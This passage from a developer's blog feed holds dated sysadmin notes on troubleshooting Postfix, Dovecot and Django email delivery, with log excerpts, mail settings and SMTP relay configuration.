&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;laudate&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;19025&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;file&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/etc/letsencrypt/live/laudate.ee/fulchain.pem&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;disabling&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;laudate&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;19025&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;library&lt;/span&gt; &lt;span class="n"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;80000002&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;../&lt;/span&gt;&lt;span class="n"&gt;crypto&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bio&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bss_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;288&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calling&lt;/span&gt; &lt;span class="n"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fulchai&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;laudate&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;19025&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;library&lt;/span&gt; &lt;span class="n"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10080002&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;BIO&lt;/span&gt; &lt;span class="n"&gt;routines&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;../&lt;/span&gt;&lt;span class="n"&gt;crypto&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bio&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bss_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;291&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;laudate&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;19025&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;library&lt;/span&gt; &lt;span class="n"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;A080002&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;SSL&lt;/span&gt; &lt;span class="n"&gt;routines&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;../&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ssl_rsa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Thunderbird said “Unable to communicate securely with peer: requested domain
name does not match the server’s certificate. The configuration related to
mail.laudate.ee must be corrected.”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0410.html</guid><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate></item><item><title>Saturday, March 21, 2026</title><link>https://luc.lino-framework.org/blog/2026/0321.html</link><description>&lt;section id="saturday-march-21-2026"&gt;
&lt;h1&gt;Saturday, March 21, 2026&lt;a class="headerlink" href="#saturday-march-21-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I’m still trying to understand why emails sent with &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;farm&lt;/span&gt; &lt;span class="pre"&gt;mailto&lt;/span&gt;&lt;/code&gt; fail to
arrive to my inbox when sent from nora but not when sent from LF. And OTOH
emails sent from jane (on nora) &lt;em&gt;do&lt;/em&gt; arrive to my inbox.&lt;/p&gt;
&lt;p&gt;Mail-related settings on Jane are:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ADMINS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Luc Saffre&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;luc@saffre-rumma.net&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;span class="n"&gt;DEFAULT_FROM_EMAIL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;noreply&lt;/span&gt;&lt;span class="nd"&gt;@mylino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_BACKEND&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;backends&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EmailBackend&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_HOST_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_HOST_USER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_SSL_CERTFILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_SSL_KEYFILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_SUBJECT_PREFIX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_TIMEOUT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_USE_LOCALTIME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_USE_SSL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;EMAIL_USE_TLS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;SERVER_EMAIL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;noreply&lt;/span&gt;&lt;span class="nd"&gt;@mylino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the output of &lt;a class="reference external" href="https://hosting.lino-framework.org/systemd/#command-journalctl" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;journalctl&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ journalctl -f -n 40
…
märts 21 09:15:06 nora jane[2713141]: Send email ‘[jane] Status report’ from &lt;a class="reference external" href="mailto:noreply&amp;#37;&amp;#52;&amp;#48;mylino&amp;#46;net"&gt;noreply&lt;span&gt;&amp;#64;&lt;/span&gt;mylino&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt; to [&lt;a class="reference external" href="mailto:'luc&amp;#37;&amp;#52;&amp;#48;saffre-rumma&amp;#46;net"&gt;‘luc&lt;span&gt;&amp;#64;&lt;/span&gt;saffre-rumma&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt;’]
märts 21 09:15:06 nora postfix/smtpd[2713200]: connect from localhost[127.0.0.1]
märts 21 09:15:06 nora postfix/smtpd[2713200]: ACFF0AA03F: client=localhost[127.0.0.1]
märts 21 09:15:06 nora postfix/cleanup[2713203]: ACFF0AA03F: message-id=&amp;lt;&lt;a class="reference external" href="mailto:177408450669&amp;#46;2713141&amp;#46;1866157075527590826&amp;#37;&amp;#52;&amp;#48;nora"&gt;177408450669&lt;span&gt;&amp;#46;&lt;/span&gt;2713141&lt;span&gt;&amp;#46;&lt;/span&gt;1866157075527590826&lt;span&gt;&amp;#64;&lt;/span&gt;nora&lt;/a&gt;&amp;gt;
märts 21 09:15:06 nora postfix/smtpd[2713200]: disconnect from localhost[127.0.0.1] ehlo=1 mail=1 rcpt=1 data=1 quit=1 commands=5
märts 21 09:15:06 nora postfix/qmgr[2673489]: ACFF0AA03F: from=&amp;lt;&lt;a class="reference external" href="mailto:noreply&amp;#37;&amp;#52;&amp;#48;mylino&amp;#46;net"&gt;noreply&lt;span&gt;&amp;#64;&lt;/span&gt;mylino&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt;&amp;gt;, size=5291, nrcpt=1 (queue active)
märts 21 09:15:06 nora jane[2713141]: Done manage.py status -s &lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;saffre-rumma&amp;#46;net"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;saffre-rumma&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt; (PID 2713141)
märts 21 09:15:08 nora postfix/smtp[2713204]: ACFF0AA03F: to=&amp;lt;&lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;saffre-rumma&amp;#46;net"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;saffre-rumma&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt;&amp;gt;, relay=smtp.zone.eu[85.234.244.110]:587, delay=1.5, delays=0.01/0.04/0.68/0.8, dsn=2.0.0, status=sent (250 Message queued as 19d0fad47370002b2c)
märts 21 09:15:08 nora postfix/qmgr[2673489]: ACFF0AA03F: removed&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The From header of an email received from Jane says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;From&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0321.html</guid><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate></item><item><title>Monday, March 9, 2026</title><link>https://luc.lino-framework.org/blog/2026/0309.html</link><description>&lt;section id="monday-march-9-2026"&gt;
&lt;h1&gt;Monday, March 9, 2026&lt;a class="headerlink" href="#monday-march-9-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I’m working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/6654"&gt;#6654&lt;/a&gt; (Language switching and page_name for songbook).&lt;/p&gt;
&lt;p&gt;The only problem is that the EN page with page_name “laulud” cannot make a link
to the corresponding page in ET. I want the text of the English page to say “This
content is available only in Estonian”, followed by a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;[page&lt;/span&gt; &lt;span class="pre"&gt;20&lt;/span&gt; &lt;span class="pre"&gt;Click&lt;/span&gt; &lt;span class="pre"&gt;here]&lt;/span&gt;&lt;/code&gt; or
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;[ref&lt;/span&gt; &lt;span class="pre"&gt;page:20&lt;/span&gt; &lt;span class="pre"&gt;Click&lt;/span&gt; &lt;span class="pre"&gt;here]&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;lino/modlib/bootstrap5/config/bootstrap5/base.html calls
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.get_request_url()&lt;/span&gt;&lt;/code&gt; for each language except the current one.
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.get_request_url()&lt;/span&gt;&lt;/code&gt; then calls &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Renderer.obj2url()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;cite&gt;ref&lt;/cite&gt; memo command calls &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;MemoReferrable.memo2html()&lt;/span&gt;&lt;/code&gt;, which calls
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.as_summary_item()&lt;/span&gt;&lt;/code&gt;, which calls &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.obj2html()&lt;/span&gt;&lt;/code&gt;, which calls
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Renderer.obj2url()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Renderer.obj2url()&lt;/span&gt;&lt;/code&gt; calls &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.get_publisher_pk()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0309.html</guid><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate></item><item><title>Friday, February 20, 2026</title><link>https://luc.lino-framework.org/blog/2026/0220.html</link><description>&lt;section id="friday-february-20-2026"&gt;
&lt;h1&gt;Friday, February 20, 2026&lt;a class="headerlink" href="#friday-february-20-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Configure postfix for sending email via an external SMTP relay server&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dohost.us/index.php/2025/07/27/configuring-postfix-to-send-outgoing-mail-relay-hosts-and-smart-hosts/"&gt;https://dohost.us/index.php/2025/07/27/configuring-postfix-to-send-outgoing-mail-relay-hosts-and-smart-hosts/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;apt-get install libsasl2-modules&lt;/p&gt;
&lt;p&gt;is needed for the authentication&lt;/p&gt;
&lt;p&gt;smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0220.html</guid><pubDate>Fri, 20 Feb 2026 00:00:00 +0000</pubDate></item><item><title>Sunday, January 18, 2026</title><link>https://luc.lino-framework.org/blog/2026/0118.html</link><description>&lt;section id="sunday-january-18-2026"&gt;
&lt;h1&gt;Sunday, January 18, 2026&lt;a class="headerlink" href="#sunday-january-18-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;After upgrading SR from bookworm to trixie we have the issue that emails don’t
work. SR accepts them but then they vanish, and the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail.log&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;T13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;22.282711&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postdrop&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5083&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; \
  &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail_queue_enter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;maildrop&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;281740.5083&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The authentication seems to work, Thunderbird reports no error, but &lt;cite&gt;journalctl
-t dovecot&lt;/cite&gt; reports that my Thunderbird logged in and  disconnected:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;jaan&lt;/span&gt;  &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;712&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Logged&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PLAIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;90.191.158.109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;51.68.71.43&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mpid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1476&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sessi&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;jaan&lt;/span&gt;  &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;712&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;1476&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EOZH3KxIPJJav55t&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Disconnected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Logged&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retr&lt;/span&gt;&lt;span 